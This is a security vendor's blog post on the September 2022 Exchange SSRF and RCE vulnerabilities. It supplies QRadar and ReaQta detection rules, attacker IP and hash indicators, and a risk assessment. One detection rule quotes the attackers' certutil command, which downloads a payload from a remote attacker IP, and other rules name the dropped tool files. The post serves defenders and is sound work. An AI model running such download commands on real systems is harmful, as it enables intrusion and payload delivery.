IBM Security QRadar

 View Only

Microsoft Exchange RCE vulnerabilities - Sept 2022

By Gladys Koskas posted Fri September 30, 2022 05:47 PM

  
Special thanks to Tristan Reed for his help understanding and co-writing how ReaQta can help improve detection coverage.
Another special thanks to Ben Baumgartner for providing the Randori's analysis of these vulnerabilities.


Hi guys !

The IT world is shaking again, there is potential new Remote Code Execution vulnerabilities in Microsoft Exchange that everyone is talking about...
That's right, I removed the word "potential" because as I was writing, the two potential vulnerabilities became actual CVE.

So today we are going to talk about CVE-2022-41040 (Microsoft Exchange Server server-side request forgery) and CVE-2022-41082 (Microsoft Exchange Server code execution).

Context

All of this starts with a claim from the Vietnamese Cybersecurity Group GTSC, saying that their teams found suspicious activity on Exchange Servers, affecting more and more infrastructures. The story of their discovery is told on their website here.

Vulnerable systems are on-premise:
  • Microsoft Exchange Server 2013
  • Microsoft Exchange Server 2016
  • Microsoft Exchange Server 2019
The vulnerabilities have been confirmed by Microsoft, right now no patch is available, but mitigation steps are available on the Microsoft website.
 
The X-Force team is actively monitoring the case, you can follow their investigations by watching updates on the advisory here.

Now let's talk about the detection side. More precise information and proof-of-concept will most likely come to confirm the content of this blog in the next few days, but we wanted to give you the earliest best chances to catch suspicious behaviour if you are under attack, so everything mentioned is opened for discussion and update.

You can implement monitoring with ReaQta and QRadar, and I'll provide some details for both.
I will also include Randori's analysis of the vulnerability, because I think it could really help you increase your scope of detection and response. 

Detection with ReaQta

Good news ! If you have ReaQta on you Exchange Server and your definitions are up-to-date, you have great chances to detect the post-exploit activities.

As of today, post-exploitation activity detailed by GTSC's SOC show behaviour that would certainly be detected, out of the box, by IBM Security ReaQta.
In particular, the attacker's dropped files would be detected by the Anti-Malware detection.


As an additional layer of detection, ReaQta provides a unique feature called DeStra (Detection Strategies) specifically created to support advanced teams in the detection of highly sophisticated threat actors attacks (APTs) and to create highly-customized detection scenarios, tailor-fitted to the organization’s security needs.


Once a Destra is created, it is immediately activated across the entire organization without any kind of intervention or downtime.

Your chances of detecting this RCE activity are increased with ReaQta, because the threat intelligence team has long implemented a DeStra rule to detect living off the land attacks such as with certutil which was also detailed by GTSC' SOC. 

Because the attacker employs certutil.exe to establish a network connection, the DeStra rule can detect the activity, trigger an alert, and provide the complete behavioural tree immediately.

 
The certutil DeStra rule is particularly simple and easy to deploy:



Regardless of the vulnerability or exploit, an attacker must either deploy tools or use existing legitimate tools, both of which ReaQta has multiple layers of detection to alert and stop.

Now let's look at the indicators provided to us to detect suspicious activity with QRadar.

Detection with QRadar

Warning: The rules below are based on the information provided by the GTSC SOC, and can be high consuming in terms of resources depending on the environment. Please adapt the rules to your environment, limit them to the vulnerable servers, etc.
All the rules assume that you have the latest version of the Microsoft Windows Custom Properties installed.

Files modification

The first thing GTSC mentions about the post exploit activity is the edition of 3 files on the Exchange server.
You can monitor these files with the following rule:

Apply Microsoft Windows RCE Vulnerability - File modified on events which are detected by the Local system
and when the event(s) were detected by one or more of Exchange Servers
and when the event category for the event is one of the following System.Successful File Modification
and when the event matches ("File Directory" = 'C:\\ProgramFiles\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth' AND "Filename" IN ('RedirSuiteServiceProxy.aspx', 'pxh4HG1v.ashx')) OR ("File Directory" = 'C:\\inetpub\\wwwroot\\aspnet_client' AND "Filename" = 'Xml.ashx') AQL filter query


Download activity

Second indicator mentioned is the download of files using certutil.
To detect it, you can create a rule such as :

Apply Microsoft Windows RCE Vulnerability - Suspicious download using certutil on events which are detected by the Local system
and when the event(s) were detected by one or more of Exchange Servers
and when the event category for the event is one of the following Audit.Command Execution Success
and when the event matches Process CommandLine (custom) is not N/A
and when the event matches LOWER("Process CommandLine") LIKE '%c:\\PerfLogs"&certutil.exe -urlcache -split -f  (http://206.188.196.77:8080/themes.aspx c:\perflogs\t|https://httpbin.org/get c:\test)&echo [S]&cd&echo [E]%' AQL filter query

Credential Dumping

The behaviour observed by their team indicates that credential dumping is happening on the system, all the information collected is added to an archive and copied away.
Most of the indicators seem to have been deleted by the attackers during the attacks, so it doesn't give a lot of room for validating the detections, but these are behaviour covered by the Endpoint content extension available on the App Exchange

Suspicious Files

Apply Microsoft Windows RCE Vulnerability - Suspicious files on events which are detected by the Local system
and when the event(s) were detected by one or more of Exchange Servers
and when the event matches Filename (custom) is not N/A

and when the event matches ("File Directory" = 'C:\\Users\\Public' AND "Filename" IN ('all.exe', 'dump.dll','ad.exe')) OR ("File Directory" = 'C:\\PerfLogs' AND "Filename" IN ('gpg-error.exe', 'cm.exe')) OR ("File Directory" = 'C:\\root' AND "Filename" = 'DrSDKCaller.exe') OR ("File Directory" = 'C:\\Program Files\\Common Files\\system\\ado' AND "Filename" = 'msado32.tlb') AQL filter query

Detection based on IPs and Hashes

A few hashes and IP are provided for monitoring.
You can check the latest list in your favourite Threat Intelligence provider's advisory here ;)

For IP, create a Reference Set with the following values:

94.140.8.113
122.155.174.188
103.9.76.211
86.48.12.64
86.48.6.69
104.244.79.6
94.140.8.48
125.212.220.48
61.244.94.85
103.9.76.208
194.150.167.88
212.119.34.11
206.188.196.77


And create the following rule
Apply Microsoft Windows RCE Vulnerability - Suspicious IPs in Events on events which are detected by the Local system
and when the event(s) were detected by one or more of Perimeter Devices
and when any of Destination Address, Source Address are contained in any of Windows RCE IPs - IP
 
For Hashes, create a Reference Set with the following values:

b5038f1912e7253c7747d2f0fa5310ee8319288f818392298fd92009926268ca
be07bd9310d7a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257
45c8233236a69a081ee390d4faa253177180b2bd45d8ed08369e07429ffbe0a9
c8c907a67955bcdf07dd11d35f2a23498fb5ffe5c6b5d7f36870cf07da47bff2
9ceca98c2b24ee30d64184d9d2470f6f2509ed914dafb87604123057a14c57c0
65a002fe655dc1751add167cf00adf284c080ab2e97cd386881518d3a31d27f5
c838e77afe750d713e67ffeb4ec1b82ee9066cbe21f11181fd34429f70831ec1
29b75f0db3006440651c6342dc3c0672210cfb339141c75e12f6c84d990931c3
074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82
76a2f2644cb372f540e179ca2baa110b71de3370bb560aca65dcddbd7da3701e


And create this rule:
Apply Microsoft Windows RCE Vulnerability - Suspicious Hashes on events which are detected by the Local system
and when an event matches any of the following BB:DeviceDefinition: Endpoint Protection Devices
and when the event matches ("SHA256 Hash" IS NOT NULL AND REFERENCESETCONTAINS('WINDOWS RCE SHA256 Hash', "SHA256 Hash"))

 

Randori’s Hacker Perspective

I wanted to tell you about Randori because it helps you limit the damages by discovering unknown exposures, better prioritizing vulnerabilities, and validating your defenses in real-time so you can stay ahead of the next attack, and I think this is where it can help you.

I believe this can be a good tool for you because Randori offers a rich suite of enterprise integrations for responding quickly to security incidents. You can find the list of integrations here.

So let's see what the Randori team says about our current case.

Bad…

As already discussed, up front this seems very bad - Microsoft Exchange is a massively deployed and highly interesting target for adversaries - with a known history of weakness. In this case, there has even been some chatter about these vulnerabilities possibly representing new expressions of last year's MS Exchange vulnerabilities.

But not that bad…

On the other hand, to actually trigger the Remote Code Execution vulnerability (referenced as CVE-2022-41082) an attacker must obtain and utilize valid user credentials first in order to be able to exploit the previously addressed SSRF (server-side request forgery) vulnerability (referenced as CVE-2022-41040).
These two requirements increase the complexity and thus reduce the overall threat level.

Details…

The implication of an Authenticated User as a requirement on the potential exploitability of these vulnerabilities is key - likely limiting the viability of the second vulnerability in many environments.

Additionally, pre-patch mitigations provided by Microsoft1 were timely and the high level of visibility of previous MS Exchange vulnerabilities likely increases Blue Team/SOC understanding of the urgency to act quickly to mitigate.

Thus far there have been no publicly available, high quality, proof-of-concept (POC) exploit code examples and at least one “non-destructive test” to determine if a particular Exchange server is vulnerable to the RCE. The lack of PoC exploit code serves to limit the usage of the vulnerabilities to existing threat actors and highly motivated adversaries already in possession of functional exploit chains.

Finally, reporting from Microsoft indicates that this vulnerability only impacts on-prem (and potentially legacy hybrid) Exchange environments, serving to further reduce the number of systems likely affected by the weaknesses.

1 A recent Twitter post has indicated that the mitigation recommendations provided by Microsoft do NOT actually serve to limit exposure.

Randori RECON Target Temptation Explained

 

Applicability: HIGH - Exchange is widely deployed across many environments.

Criticality: MEDIUM - Exchange is generally not part of an integrity boundary. However, because Exchange does act as a primary medium for communications, exploitation could have significant impact to organization operations and could be an excellent source for user authentication data.

Enumerability: LOW - Without service specific probes enumerating the specific version and patch level of an Exchange server is challenging.

Exploitability: MEDIUM - While Exchange has a history of weakness, there are currently no PUBLIC Proof-of-Concept exploit chains available for adversaries to use.

Research Potential: HIGH - Exchange, being a high value target and having a history of weakness, is a very interesting target for adversaries.

Post Exploit Potential: MEDIUM - The post exploitation environment is well known; however, while there are a variety of post exploitation capabilities, there are also a myriad of quality mitigations.


For more information on Randori RECON’s Target Temptation check out our blog post on how Randori brings the Attacker’s Perspective to Vulnerability Management.


I hope this will help you implement detections, feel free to send me a message if you have any question. 
Updates will probably come in the next few days. 

Have a great weekend !

1 comment
41 views

Permalink

Comments

Sat October 01, 2022 09:13 AM

Great article and fast timing!!